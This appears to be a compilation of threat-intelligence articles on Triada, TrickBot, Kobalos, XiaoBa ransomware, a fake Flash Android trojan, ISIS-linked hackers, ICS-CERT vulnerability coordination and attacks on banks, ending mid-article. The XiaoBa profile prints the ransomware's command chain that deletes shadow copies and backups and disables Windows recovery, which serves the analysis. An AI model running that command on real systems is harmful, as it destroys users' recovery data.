Criminals in 2017 managed to get an advanced backdoor preinstalled on Android devices before they left the factories of manufacturers, Google researchers confirmed on Thursday. Triada first came to light in 2016 in articles published by Kaspersky, which described the malware as "one of the most advanced mobile Trojans" the security firm's analysts had ever encountered. Once installed, Triada's chief purpose was to install apps that could be used to send spam and display ads. It employed an impressive kit of tools, including rooting exploits that bypassed security protections built into Android and the means to modify the Android OS' all-powerful Zygote process. This allowed the malware to directly tamper with every installed app. Triada also connected to no fewer than 17 command and control servers.
In July 2017, security firm Dr. Web reported that its researchers had found Triada built into the firmware of several Android devices, including the Leagoo M5 Plus, Leagoo M8, Nomu S10, and Nomu S20. The attackers used the backdoor to surreptitiously download and install modules. Because the backdoor was embedded into one of the OS libraries and located in the system section, it couldn't be deleted using standard methods, the report said.
On Thursday, Google confirmed the Dr. Web report, although it stopped short of naming the manufacturers. The report also stated that the supply chain attack was executed by one or more partners the manufacturers used in preparing the final firmware image for the affected devices. Lukasz Siewierski, a member of Google's Android Security & Privacy Team, wrote:
> Triada infects device system images through a third party during the production process. Sometimes OEMs want to include features that aren't part of the Android Open Source Project, such as face unlock. The OEM might partner with a third party that can develop the desired feature and send the whole system image to that vendor for development. Based on analysis, we believe that a vendor using the name Yehuo or Blazefire infected the returned system image with Triada.
Google's post also expanded on previous analysis of the features that made Triada so sophisticated. For one, it used XOR encoding and ZIP files to encrypt communications. Additionally, it injected code into the system user interface app that allowed ads to be displayed. The backdoor also injected code that allowed it to use the Google Play app to download and install apps of the attackers' choice.
> "The apps were downloaded from the C&C server, and the communication with the C&C was encrypted using the same custom encryption routine using double XOR and zip," Siewierski wrote. "The downloaded and installed apps used the package names of unpopular apps available on Google Play. They didn't have any relation to the apps on Google Play apart from the same package name."
Mike Cramp, senior security researcher at mobile security provider Zimperium, agreed with the assessments that Triada's capabilities were advanced.
> "From the looks of it, Triada seems to be a relatively advanced piece of malware including C&C capabilities, and in the beginning, shell execution capabilities," Cramp wrote in an email. "We do see a lot of adware, but Triada is different in that it uses C&C and other techniques that we would usually see more in the malicious malware side of things. Yes, this is all used to ultimately deliver ads, but the way they go about it is more sophisticated than most adware campaigns. It pretty much is an 'adware on steroids.'"
Siewierski noted that Triada developers resorted to the supply-chain attack after Google implemented measures that successfully mitigated the backdoor. One was mitigations that prevented its rooting mechanisms from working. A second measure was improvements in Google Play Protect that allowed the company to remotely disinfect compromised phones. The Triada version that came preinstalled sometime in 2017 didn't contain the rooting capabilities. The new version was "inconspicuously included in the system image as third-party code for additional features requested by the OEMs." Google has since worked with the manufacturers to ensure the malicious app was removed from the firmware image.
Last year, Google implemented a program that requires manufacturers to submit new or updated build images to a build test suite.
> "One of these security tests scans for pre-installed PHAs [potentially harmful applications] included in the system image," Google officials wrote in their Android Security & Privacy 2018 Year In Review report. "If we find a PHA on the build, we work with the OEM partner to remediate and remove the PHA from the build before it can be offered to users."
Still, Thursday's report acknowledges that, as Google tightens security in one area, attackers are sure to adapt by exploiting new weaknesses.
> "The Triada case is a good example of how Android malware authors are becoming more adept," Siewierski wrote. "This case also shows that it's harder to infect Android devices, especially if the malware author requires privilege elevation." |
# NCCIC/ICS-CERT FY 2015 Annual Vulnerability Coordination Report
This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. In no event shall the United States Government or its contractors or subcontractors be liable for any damages, including but not limited to, direct, indirect, special or consequential damages and including damages based on any negligence of the United States Government or its contractors or subcontractors, arising out of, resulting from, or in any way connected with this report, whether based on warranty, contract, tort, or otherwise, whether injury was sustained from, or arose out of the results of, or reliance upon the report.
DHS does not endorse any commercial product or service, including the subject of the analysis in this report. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by DHS.
The display of the DHS official seal or other DHS visual identities on this report shall not be interpreted to provide the recipient organization authorization to use the official seal, insignia, or other visual identities of DHS. The DHS seal, insignia, or other visual identities shall not be used in any manner to imply endorsement of any commercial product or activity by DHS or the United States Government. Use of the DHS seal without proper authorization violates federal law (e.g., 18 U.S.C. §§ 506, 701, 1017) and is against DHS policies governing usage of its seal.
## EXECUTIVE SUMMARY
This report provides a summary of the Department of Homeland Security’s (DHS) National Cybersecurity and Communications Integration Center (NCCIC)/Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) vulnerability coordination activities for FY 2015. The goal of ICS-CERT is to reduce industrial control systems (ICS) risks within and across all critical infrastructure sectors by coordinating efforts among Federal, state, local, and tribal governments, as well as industrial control systems owners, operators, and vendors. ICS-CERT coordinates activities to reduce the likelihood of success and the severity of the impact of cyber-attacks against critical infrastructure control systems.
This report provides trend analysis for all vulnerabilities reported to ICS-CERT in FY 2015. Most notably, researchers found that 52 percent came from improper input validation and permissions, privileges, and access controls. While this high percentage may indicate a pressing cybersecurity gap, it is also possible that it merely reflects the type of vulnerabilities targeted by researchers reporting to ICS-CERT. The majority of reported vulnerabilities for FY 2015 came from the Energy, Critical Manufacturing, and Water and Wastewater Sectors.
## SCOPE
The intent and scope of this report is to provide a summary of the Department of Homeland Security’s (DHS) National Cybersecurity and Communications Integration Center (NCCIC) / Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) vulnerability coordination efforts performed in FY 2015.
## ICS-CERT VULNERABILITY HANDLING PROCESS
The ICS-CERT vulnerability handling process involves five basic steps:
1. **Detection and Collection**: ICS-CERT obtains vulnerability information in three ways: ICS-CERT vulnerability analysis, monitoring public sources of vulnerability information, and direct notification of vulnerabilities to ICS-CERT by vendors and independent security researchers. After receiving a report, ICS-CERT will perform an initial surface analysis in order to eliminate duplicate reports and false alarms. ICS-CERT then combines and catalogs the remaining vulnerability reports with all private and publicly available information.
2. **Analysis**: Once ICS-CERT has catalogued the vulnerabilities, vendor and ICS-CERT analysts work to understand the vulnerabilities by examining and identifying the issues, as well as the potential threat.
3. **Mitigation Coordination**: After validating a reported vulnerability, ICS-CERT will continue to work with the vendor on mitigation, including possible patch issuance. Researchers then have the opportunity to validate solutions prior to publication.
4. **Application of Mitigation**: ICS-CERT will work with the vendor to allow sufficient time for end users to obtain, test, and apply mitigation strategies prior to disclosure. This time window is variable depending on the circumstances of the vulnerability and the impact to critical infrastructure.
5. **Disclosure**: After gathering the technical and threat information related to the vulnerability, ICS-CERT will notify asset owners about the vulnerability through the publication of an ICS-CERT advisory.
ICS-CERT attempts to coordinate all reported vulnerabilities with the associated vendor. While the goal of ICS-CERT efforts is the timely sharing of vulnerability information, a number of factors may affect the schedule of disclosure. These factors may include the following:
- The severity of the vulnerability,
- Its potential impact to critical infrastructure, public health, and safety,
- The availability of immediate mitigations,
- Whether the information has already been publicly released, and
- The vendor’s estimation of time required for the creation, test, and application of a patch or upgrade.
In cases where a vendor is unresponsive, or will not establish a reasonable timeframe for remediation, ICS-CERT may disclose vulnerabilities, regardless of the existence or availability of patches or workarounds from the associated vendors.
## VULNERABILITY COORDINATION METRICS
This section provides additional detail regarding the development and improvement of ICS-CERT capabilities in FY 2015, including total vulnerability reports, key researchers, and time from vulnerability identification to the successful closure of vulnerability reports.
### Vulnerability Reporting and Resolution
ICS-CERT receives vulnerability reports from vulnerability researchers, industrial control system (ICS) vendors, and national Computer Emergency Readiness Teams (CERT). ICS-CERT opens a ticket when someone reports a vulnerability. ICS-CERT serves as the facilitator between vulnerability researchers and the associated vendor. After the opening of a ticket, vendors will typically validate the vulnerability and create a patch or other mitigations, which the researcher may then validate. After validation of the mitigation, vendors will distribute the patch to their customers. ICS-CERT will not release an advisory describing the vulnerability until after the vendor’s customers have been given time to patch their systems (this period is known as a “patch window”). If appropriate, ICS-CERT will publish an alert before the vendor has released a mitigation. For example, if someone has already released information about the vulnerability, ICS-CERT will publish an alert before the patch window. After a patch window has expired or, alternatively, if it is evident that the vendor will not provide mitigation, the ticket is closed (“resolved”).
Advisories provide timely information about current security issues, vulnerabilities, and exploits. An ICS-CERT advisory is intended to provide awareness to or solicit feedback from critical infrastructure owners and operators concerning ongoing cyber events or activities with the potential to impact critical infrastructure computing networks. An advisory contains information from the researcher’s initial report, validation of the vulnerability, a description of the vulnerability including exploitation impact, and mitigation steps that asset owners can apply. ICS-CERT issues an advisory after the vulnerability coordination process has occurred. This means the researcher has contacted ICS-CERT before issuing a public notification of their findings.
ICS-CERT intends for its alerts to provide timely notification to critical infrastructure owners and operators concerning threats or activity with the potential to impact critical infrastructure computing networks. ICS-CERT produces alerts based on a vulnerability discovery and the vendor’s validation and uses them to rapidly disseminate information about a vulnerability that someone has publicly released without coordination.
In 2015, ICS-CERT produced 197 advisories with 22 initially published to the United States Computer Emergency Readiness Team (US-CERT) Portal and 16 alerts with four initially published to the Portal.
### Coordinated Disclosure Trends
Some vulnerability researchers publish vulnerabilities without giving the vendor a chance to provide mitigation to its customers. The general trend, however, is that more ICS vulnerability researchers are waiting to publish vulnerabilities that could impact critical infrastructure until the vendor has had an opportunity to mitigate them.
### Researcher Trends
Independent vulnerability researchers report most ICS vulnerabilities to ICS-CERT, although some report to third-party collaborators, such as the Zero Day Initiative. In addition, ICS-CERT collaborates with international and private sector CERTs, such as the Japan CERT, ICST (Taiwan National Information and Communication Taskforce), and Siemens ProductCERT. The vulnerability researchers who have reported the most vulnerabilities in FY 2015 to the ICS-CERT are listed below:
- Rupp, Maxim - 28
- Sanchez, Ivan - 13
- Bolshev, Alexander - 11
- Sood, Aditya K - 10
- Darshanam, Praveen - 7
- Ganeshen, Karn - 6
- Wightman, Reid - 4
- Jartelius, Martin - 3
Only three independent researchers from previous years have submitted vulnerabilities in FY 2015:
- Rios, Billy
- Crain, Adam
- Brown, Jeremy.
Some ICS vendors have identified and self-reported vulnerabilities in their own products. The following vendors are ranked in order of vulnerabilities they self-reported in FY 2015:
1. Siemens ProductCERT
2. GE
3. Schneider Electric
4. OSIsoft.
## SEVERITY OF ICS VULNERABILITIES
The security industry standard for scoring the severity of a vulnerability is the Common Vulnerability Scoring System (CVSS). ICS-CERT gives vulnerabilities a CVSS score to help asset owners assess the risk a given vulnerability poses to their organization.
### Sectors that Use Products that Have Vulnerabilities Reported to ICS-CERT
Of the vulnerabilities reported to ICS-CERT, the majority are in products used by the energy, critical manufacturing, and water and wastewater systems sectors.
## TYPES OF VULNERABILITIES REPORTED TO ICS-CERT
Figure 9 shows high-level categories of all vulnerabilities reported to ICS-CERT for FY 2010 through FY 2015. The changes from previous years show an increase in all types with the exception of improper input validation.
Improper input validation vulnerabilities occur when software does not validate input properly; an attacker is able to craft the input in a form that is not expected by the rest of the application. This can lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.
Permissions, privileges, and access control is when an authorization policy is defined, individual or sets of users are defined, and applications or processes that can perform actions on a resource such as a database are defined. This can be very granular with an authorization policy. Administrators can control certain actions, such as whether individuals or groups can read, create, modify (write), or delete.
Improper control of a resource vulnerabilities occur when the software does not maintain, or incorrectly maintains, control over a resource throughout its lifetime of creation, use, and release.
Credentials management is a broad administrative area that deals with identifying individuals in a system and controlling their access to resources within that system by associating user rights and restrictions with the established identity.
Indicator of poor code quality vulnerabilities occur when the code has features that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained.
## CONCLUSION/SUMMARY
Since its establishment, ICS-CERT has actively worked toward improving and enhancing cybersecurity postures within the ICS community by sharing control systems-related security incidents and mitigation measures. During this time, the group has become more effective and efficient in sharing threat information and coordinating vulnerability alerts with researchers, vendors, and the ICS community at large.
As the ICS community continues to adopt new technology, it is imperative that public and private partnerships continue to work toward the improved situational awareness of the community as a whole. ICS-CERT urges organizations and asset owners to continue to monitor ICS-CERT advisories and alerts and implement mitigation strategies that will improve the cybersecurity of the nation’s critical infrastructure. |
# TrickBot Takes to Latin America, Continues to Expand Its Global Reach
The TrickBot Trojan, a banking malware believed to be operated by an organized cybercrime group, has been the most active financial Trojan in the wild all summer. For some perspective, while other malware operators were much less active in the summer months, TrickBot was three times more active than Dridex in terms of campaigns and code updates in Q3 and Q4 to date, according to IBM X-Force Research. It continues to expand its reach, this time setting foot in Latin America, with bank targets in Argentina, Chile, Colombia, and Peru.
At this time, the number of targets in Latin America is still small, but this strategy is typical for TrickBot’s operators, who test the waters before moving ahead to set up redirection attacks and add more banks to their target lists.
Recent configuration files analyzed by IBM X-Force Research show that TrickBot’s operators are still using redirection attacks for many of their targets. The ratio in recent campaigns, where TrickBot targeted banks in no less than 40 countries, was 60 percent web injection attacks to 40 percent redirection attacks. Those are already active in all four countries in Latin America where TrickBot targets major banks. In the current cybercrime arena, according to X-Force research, the only other gangs to use redirection attacks are the operators of the Dridex and GootKit Trojans.
## Signed, Sealed, Delivered by Necurs
TrickBot is delivered to potential victims via email and pushed by the Necurs botnet. The connection with the Necurs gang has been ongoing since mid-2017, which has led to TrickBot being delivered as various file types to conceal its payloads. Most recently, the malware switched to using an eFax ploy to trick users into opening malicious VBS extensions that harbor its payload.
An X-Force analysis of the amount of spam emitted by the Necurs botnet during August and September showed that this cybercrime operation sent over 40 million emails carrying .7z archive file attachments per week in intermittent TrickBot and Locky ransomware campaigns. This is not the only method by which TrickBot was delivered in Q3. The group has been experimenting with other ideas, such as setting up fake websites and serving the malware from there. In early August, TrickBot was spotted using the same infection zones as the Emotet Trojan, which has been linked with the QakBot banking Trojan, which recently propagated throughout corporate networks and caused massive Active Directory lockouts.
## Evolving to Get More
Delivery methods are not the only things TrickBot changes often; it has also been evolving its code over the past year. Q3 was especially active for TrickBot, which added modules to its existing hidden desktop and data theft capabilities.
In July, TrickBot’s developers added support for the EternalBlue exploit, a tool borrowed from attacks such as WannaCry and NotPetya that allows it to spread through enterprise networks, along with a new worm feature it adopted to fetch its payloads from malicious remote servers. TrickBot targets mostly business banking services, according to X-Force Research, so this addition is not a surprise.
By August, TrickBot already had new modules designed to steal Outlook email and browsing data. These modules do not feature the same code sophistication the core malware and modules present and were likely written by other developers. This could suggest that the TrickBot team recently took on new, less experienced members.
In early September, TrickBot’s operators added cryptocurrency targets to their configuration files, aiming to steal user credentials for platforms such as the American-based Coinbase and the Luxembourg-based Blockchain. Both exchange different types of cryptocurrency coins. This addition enabled TrickBot’s operators to take over victims’ wallets and empty them or use them as part of a network of wallets to move other coins and wipe their illegitimate traces.
## Global Reach
TrickBot has managed to spread to a large number of countries and language zones in relatively little time. The malware operates redirection attacks in over 20 countries and targets banks in over 40 countries spanning Asia, Europe, North America, South America, Australia, New Zealand, and the Nordics.
In terms of the top geographies on TrickBot’s radar, the focus changes in different configurations, which are attributed to infection cycles destined for each country or region. In recent attacks in which a large number of countries appears on the same list, X-Force data showed the following distribution.
Unlike most Trojans, which mainly target the larger parts of Europe such as the U.K., Germany, and France, TrickBot also targets banks in smaller unlikely countries, some of which were previously part of the Soviet bloc. Some examples include Bulgaria, Lithuania, Latvia, Slovenia, and Slovakia. These countries, where the economy is not as strong and people are less likely to have high residual incomes, are much less likely to be used as run-of-the-mill targets and are more often exploited as cash-out routes for the TrickBot gang.
TrickBot is currently the sixth most prevalent financial malware family in the global financial cybercrime arena.
## Keeping Up With TrickBot
The TrickBot Trojan is an evolving malware project that appears to have funding and alliances in the cybercrime arena. According to X-Force Research, its targets are mostly business banking, wealth management, and private banking services, which simply means that the malware’s operators are after corporate money and hefty illicit profits.
This gang is believed to be organized, international, and unlikely to disappear anytime soon. X-Force Research expects to see TrickBot continue to target banks, organizations, and consumers in Q4 2017. |
# Kobalos Malware Mapping
On February 2nd, the great team at ESET released their findings on malware being used to compromise UNIX-like systems, including various distributions of Linux and FreeBSD, named Kobalos.
Malware that targets these platforms is always of great interest to me. Having started my career in high performance computing (HPC) and then having moved into hardened Linux system architecting, I can say that it is not often we get the chance to study widespread malware that targets these operating systems.
Kobalos is designed to replace the SSH client and server on a host. Once installed, it replaces the normal SSH to allow collection of passwords to be used to access remote hosts. As the listening service, it creates a backdoor when a client connects with the specific TCP source port of 55201. This specific detail allows us to leverage Team Cymru’s Pure Signal™ threat reconnaissance solution to understand the potential size and scope of the Kobalos network.
Using a signature of TCP connections with a destination port of 22 and a source port of 55201, and removing noise like SYN-scanners and other noisy hosts, we were able to look at the past seven days of Internet activity. With search parameters, we see 3475 hosts across 1460 separate ASNs.
Given the ephemeral and service port combination as the only litmus, it’s possible that this port combination seen across the Internet is a coincidence. However, as it is our only IOC that can be applied externally, this will have to do. That said, here is the list of potentially impacted networks.
The full IP list, and this kind of data, is shared daily via our CSIRT Assistance Program and our membership in various trust groups. If you see your network listed and you’re not aware of how to get started receiving alerts, please don’t hesitate to contact us.
My thanks again to the fine team at ESET. Without their sharing of these indicators, we couldn’t have looked into the scope of this activity. If you’re a researcher and have an IOC you’d like to see matched against our Pure Signal intelligence, drop me a line! |
# Islamic State Hacking Division
The Islamic State Hacking Division (ISHD) or The United Cyber Caliphate (UCC) is a merger of several hacker groups self-identifying as the digital army for the Islamic State of Iraq and Levant (ISIS/ISIL). The unified organization comprises at least four distinct groups, including the Ghost Caliphate Section, Sons Caliphate Army (SCA), Caliphate Cyber Army (CCA), and the Kalashnikov E-Security Team. Other groups potentially involved with the United Cyber Caliphate are the Pro-ISIS Media group Rabitat Al-Ansar (League of Supporters) and the Islamic Cyber Army (ICA). Evidence does not support the direct involvement of the Islamic State leadership. It suggests external and independent coordination of Pro-ISIS cyber campaigns under the United Cyber Caliphate (UCC) name. Investigations also display alleged links to Russian Intelligence group, APT28, using the name as a guise to wage war against western nations.
## Concerns
The group's actions have included online recruiting, website defacement, social media hacks, denial-of-service attacks, and doxing with 'kill lists.' The group is classified as low-threat and inexperienced because their history of attacks requires a low level of sophistication and relies on publicly available hacking tools. Experts raised doubts about the source and nature of data from released 'kill lists' containing personal information about U.S. Military personnel claimed stolen from hacked U.S. government servers. There is no evidence that the United Cyber Caliphate (UCC) compromised U.S. systems. The data included public, unclassified, and often outdated information about civilians, non-U.S. citizens, and others built from old data breaches or web scraped data. U.S., French, and German intelligence investigated attacks following the French Television Channel TV5Monde hack and The U.S. CENTCOM Twitter attack. All three countries linked actions by the United Cyber Caliphate (UCC) to APT 28, a Russian intelligence group.
## History
The group first emerged in hacking operations against U.S. websites in January 2015 as the Cyber Caliphate Army (CCA). In March 2015, the Islamic State published a "kill list" on a website that included names, ranks, and addresses of 100 U.S. military members. A pattern of similar attacks emerged after the media coverage. At least 19 individual 'kill lists,' including personal information of American, Canadian, and European citizens, were released between March 2015 and June 2016. On April 4, 2016, all four groups united as the United Cyber Caliphate (UCC). In June 2016, the Middle East Media Research Institute found and revealed to the media an alleged list of approximately 8,300 people around the world as potential lone-wolf attack targets.
### Successful attacks since mid-2014
- Australian airport website defaced.
- French TV5Monde live feed hacked, social media hacked and defaced with the message "Je Suis ISIS". French investigators later discounted this, instead suspecting the involvement of a hacking group, APT28, allegedly linked to the Russian government.
- ISIS hacks Swedish radio station and broadcasts recruitment song.
- United States' military database hacked in early August and data pertaining to approximately 1400 personnel posted online.
- Top secret British government emails hacked. The emails pertained to top cabinet ministers. The intrusion was detected by GCHQ.
- February 28, 2016, Caliphate Cyber Army (CCA) carried out the bizarre hack on the website of Solar UK, a company in the historic town of Battle, England. Customers were being diverted to a web page featuring the ISIS logo accompanied by a string of chilling threats. “Fear us,” the page warned. “We are the Islamic Cyber Army”.
- On April 15, 2016, Islamic State hackers under the name UCC successfully hacked 20 Australian websites in a coordinated attack on Australian business. Some of the websites redirected to the website containing their content.
- In early April 2017, UCC released a kill list of 8,786 people.
- In mid-2019, an Islamic State affiliated hacking group hijacked 150 targeted Twitter handles using an unknown vulnerability. |
# XiaoBa Ransomware
(шифровальщик-вымогатель, деструктор)
Этот крипто-вымогатель шифрует данные пользователей с помощью AES/RSA, а затем требует выкуп в 1200 юаней = 180,81$ в BTC, чтобы вернуть файлы. Оригинальное название: XiaoBa. На файле написано: xiaoba.exe. Написан на языке FlyStudio.
© Генеалогия: XiaoBa > XiaoBa 2.0
К зашифрованным файлам добавляются расширения от .XiaoBa1 до .XiaoBa34.
Активность этого крипто-вымогателя пришлась на вторую половину октября 2017 г.
Ориентирован на китайских пользователей, что не мешает распространять его по всему миру.
Записки с требованием выкупа называются:
_@XiaoBa@_.bmp
_@Explanation@_.hta
## Содержание записки о выкупе:
Ooops, your important files have been encrypted!
!------ 重要加密 ------ !
你柏所有文件已被 RSA-2048 AES-128 算法進行了加密
請硕縦破解, 因為您無 眷破解文件可能導致文壊 這可能會損害他們
只有我們的解密辦捕解密您的文件
如果您看到這個壁紙卻看不到 “XiaoBa” 窗口, 那麼就是您的防病毒軟件
刪除了此解密軟件或葡恣從計算機中刪除了它
如果您需要您的文件I必須運行解密軟件
請找到解密軟件或從防病毒軟件隔雜區還原
運行解密軟件, 並按照說明進行操作
請向指定地址發送約1200元人民幣=180.81$的比特幣
比特幣錢包:1GoD72v5gDyWxgPuBph7zQwvR6bFZyZnrB
想獲取更多信息請點擊桌面的 _@Explanation@_.hta
E-mail: [email protected]
## Перевод записки на русский язык:
Упс, все ваши важные файлы зашифрованы!
!------ Важные файлы зашифрованы ------ !
Все файлы зашифрованы с алгоритмами RSA-2048 AES-128.
Попробуйте взломать, но вы не вернете файлы, это приведет к тому, что текст может быть повреждён.
Только наше дешифрование может вернуть ваши файлы.
Если вы видите эти обои, но не видите окно "XiaoBa", то ваша антивирусная программа поместила эту программу в карантин или удалила с компьютера.
Если вам нужны файлы, то вы должны заново запустить нашу программу для дешифрования.
Найдите нашу программу для дешифрования или восстановите её из карантина антивируса.
Запустите программу дешифрования и следуйте инструкциям.
Пожалуйста, отправьте около 1200 юаней = 180,81$ в биткоинах на указанный адрес BTC-кошелька: 1GoD72v5gDyWxgPuBph7zQwvR6bFZyZnrB.
Для получения информации найдите на рабочем столе файл _@Explanation@_.hta.
E-mail: [email protected]
## Технические детали
Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, эксплойтов, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. См. также "Основные способы распространения криптовымогателей" на вводной странице блога.
➤ Создает множество процессов.
➤ Удаляет теневые копии файлов, отключает функции восстановления и исправления Windows на этапе загрузки, удаляет точки восстановления командой:
`cmd /c vssadmin delete shadow /all /quiet & wmic shadowcopy delete & bcdedit /set {default} boostatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet`
➤ Зашифрованные файлы повреждаются. Уплата выкупа бесполезна!
## Список файловых расширений, подвергающихся шифрованию:
Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр.
## Файлы, связанные с этим Ransomware:
- _@XiaoBa@_.bmp
- _@Explanation@_.hta
- xiaoba.exe
- AutoRunApp.vbs
## Расположения:
- \Desktop\_@Explanation@_.hta
- C:\AutoRunApp.vbs
## Записи реестра, связанные с этим Ransomware:
См. ниже результаты анализов.
## Сетевые подключения и связи:
URL:
http://baidu.com
http://tieba.baidu.com
http://wenku.baidu.com
http://xueshu.baidu.com
http://zhidao.baidu.com и другие
Email: [email protected]
BTC: 1GoD72v5gDyWxgPuBph7zQwvR6bFZyZnrB
См. ниже результаты анализов.
## Результаты анализов:
Гибридный анализ >>
VirusTotal анализ >> VT+
Другой анализ >>
Степень распространённости: низкая.
Подробные сведения собираются регулярно.
## Обновления
**Обновление от 4 ноября 2017:**
Сумма выкупа: 250 RMB (китайские юани) = $37.696 в BTC
Email: [email protected]
BTC: 1NodpehhyEnJZUE3vsGXHm8RYLfydMZkv4
Экран пользователь блокируется.
Результаты анализов: HA+ VT
**Обновление от 18 ноября 2017:**
Сумма выкупа: 0.1 BTC
Email: [email protected]
BTC: 17SGfA1QSffaDMnG3TXEC4EiLudjLznQR6
Результаты анализов: VT
**Обновление от 24-27 февраля 2018:**
Расширение: .Encrypted[[email protected]].XiaBa
Записка: _XiaoBa_Info_.hta
Email: [email protected]
Результаты анализов: VB + VT + VT
**Обновление от 17 апреля 2018:**
➤ Теперь XiaoBa присоединяет майнер coinminer к исполняемым файлам (.exe, .com, .scr, .pif) на всём жестком диске, включая основные папки операционной системы.
После этого запуск любого из заряженных таким образом исполняемых файлов запускает только coinminer, а не само приложение. Это приводит к проблемам, при которых Windows не сможет загрузиться.
➤ XiaoBa также внедряет (инжектирует) скрипт Coinhive во все файлы HTML и HTM, а также удаляет все файлы с расширениями .gho и .iso, которые часто используются в антивирусных образах Live-CD/DVD (например, Norton Ghost использует файлы с расширением .gho, а Kaspersky Rescue Disk использует .iso).
➤ Другой вариант XiaoBa тоже инжектирован, но также содержит 32-битную и 64-битную версию майнера XMRig.
Подробности в статье от TrendMicro.
**Обновление от 5 июня 2018:**
Расширение: .AdolfHitler
Email: [email protected]
Записка-изображение: # # DECRYPT MY FILE # #.bmp
Файл: New Folder.exe
Результаты анализов: VT
## Благодарности:
MalwareHunterTeam
Michael Gillespie
© Amigo-A (Andrew Ivanov): All blog articles. |
# New Android Trojan Mimics User Clicks to Download Dangerous Malware
Android users are exposed to a new malicious app imitating Adobe Flash Player that serves as a potential entrance for many types of dangerous malware. The application, detected by ESET security software as Android/TrojanDownloader.Agent.JI, tricks its victims into granting it special permissions in the Android accessibility menu and uses these to download and execute additional malware of the attackers’ choice.
According to our analysis, the trojan targets devices running Android, including the latest versions. It is distributed via compromised websites—adult video sites, but also via social media. Under the pretense of safety measures, the websites lure users into downloading a fake Adobe Flash Player update. If victims fall for the legitimate-looking update screen and run the installation, they have more deceptive screens to look forward to.
## How Does It Work?
The next phony screen pops up following successful installation, claiming “too much consumption of energy” and urging the user to turn on a fake “Saving Battery” mode. Like most malicious pop-ups, the message won’t stop appearing until the victim gives in and agrees to enable the service. This opens the Android Accessibility menu, showing a list of services with accessibility functions. Among the legitimate ones, a new service (created by the malware during installation) named “Saving Battery” appears. The service then requests permissions to monitor actions, retrieve window content, and turn on Explore by Touch—all crucial for future malicious activity, enabling the attacker to mimic the user’s clicks and select anything displayed on their screen.
Once the service is enabled, the fake Flash Player icon hides from the user. However, in the background, the malware is busy contacting its C&C server and providing it with information about the compromised device. The server responds with a URL leading to a malicious app of the cybercriminal’s choice—in the detected case, banking malware (though it could be any malware ranging from adware through spyware, and on to ransomware). After acquiring the malicious link, the compromised device displays a bogus lock screen with no option to close it, covering the ongoing malicious activity beneath it.
This is when the permission to mimic the user’s clicks comes in handy—the malware is now free to download, install, execute, and activate device administrator rights for additional malware without the user’s consent, all while remaining unseen under the fake lock screen. After the app’s secret shenanigans are done, the overlay screen disappears and the user is able to resume using the mobile device—now compromised by the downloaded malware.
## Has My Device Been Infected? How Do I Clean It?
If you think you might have installed this fake Flash Player update in the past, you can easily verify by checking for ‘Saving Battery’ under Services in the Accessibility menu. If listed under the services, your device may very well be infected.
Denying the service its permissions will only bring you back to the first pop-up screen and will not get rid of Android/TrojanDownloader.Agent.JI. To remove the downloader, try manually uninstalling the app from Settings -> Application Manager -> Flash Player. In some instances, the downloader also requests that the user activate Device administrator rights. If that turns out to be the case and you can’t uninstall the app, deactivate the administrator rights by going to Settings -> Security -> Flash Player and then proceed with uninstalling.
Even after doing so, your device might still be infected by countless malicious apps installed by the downloader. To make sure your device is clean, we recommend using a reputable mobile security app as a hassle-free way to detect and remove threats.
## How to Stay Safe
To avoid dealing with the consequences of nasty mobile malware, prevention is always the key. Apart from sticking to trustworthy websites, there are a couple more things you can do to stay safe.
If you’re downloading apps or updates in your browser, always check the URL address to make sure you’re installing from the intended source. In this particular case, the only safe place to get your Adobe Flash Player update is from the official Adobe website.
After running anything you’ve installed on your mobile device, pay attention to what permissions and rights it requests. If an app asks for permissions that don’t seem appropriate to its function, don’t enable these without double-checking.
Last but not least, even if all else fails, a reputable mobile security solution will protect your device from active threats. |
# Sophisticated Groups and Cyber Criminals Set Sights on Lucrative Financial Sector
## Introduction
The financial sector (comprised of banks and other financial organizations) has always been a favorite target of cyber criminals, and it’s not hard to understand why. The huge amounts of money passing in and out of financial organizations on a daily basis—now in a primarily digital format—make them a prime target for profit-focused cyber criminals.
Symantec, a division of Broadcom, has examined the activity targeted at some of our biggest financial customers since the start of 2019 and found that detections of both malware and ransomware on customer networks are trending upwards. The monthly detections in both categories have gone up and down since the start of 2020, with ransomware detections dropping sharply in March as the world went into lockdown due to COVID-19. However, the overall trend for detections is still upwards, showing that financial institutions still need to be aware of the threats that face them from cyber criminals and other threat actors.
## Ransomware: A High-Cost Threat
Ransomware is probably the biggest threat on the cyber security landscape at the moment, with ransomware targeting top financial sector organizations trending upwards over the 17-month period we examined. Almost three times as many financial sector businesses were targeted with ransomware in February 2020 as in December 2019. While these numbers fell back in March, potentially due to the COVID-19 pandemic disrupting the activity of targeted ransomware gangs, they rebounded again in April. In total, there were more than twice as many ransomware detections on the systems of financial organizations in the first five months of 2020 as there were in the first five months of 2019.
The gangs behind targeted ransomware threats have become more sophisticated and dangerous in recent times. Traditionally, ransomware actors would encrypt your system and demand a ransom to provide the decryption key. If businesses had sufficient backups of their systems available, they could generally restore their systems without paying the ransom. However, since December 2019, targeted ransomware gangs have also been stealing the data of the businesses they hit and threatening to publish this stolen data if victims do not pay the ransom. By doing this, ransomware actors have doubled their leverage, because even if a business is well-prepared and can restore their encrypted systems from backups, they may still choose to pay the ransom so their confidential business information is not exposed.
For banks and financial institutions, which cannot afford downtime and which also hold a huge amount of people’s personally identifiable information (PII), this recent trend in targeted ransomware is a huge threat to their business.
### The Travelex Hack
A high-profile ransomware attack on the Travelex currency exchange service at the start of 2020 underlined how disruptive and expensive ransomware attacks can be for businesses in the financial services sector. According to public reports on the incident, Travelex was hit with the Sodinokibi ransomware on New Year’s Eve, with the attackers allegedly stealing 5 GB of data from the company’s systems before encrypting the entire network. However, Travelex said it never saw evidence that the attackers did steal data from their systems.
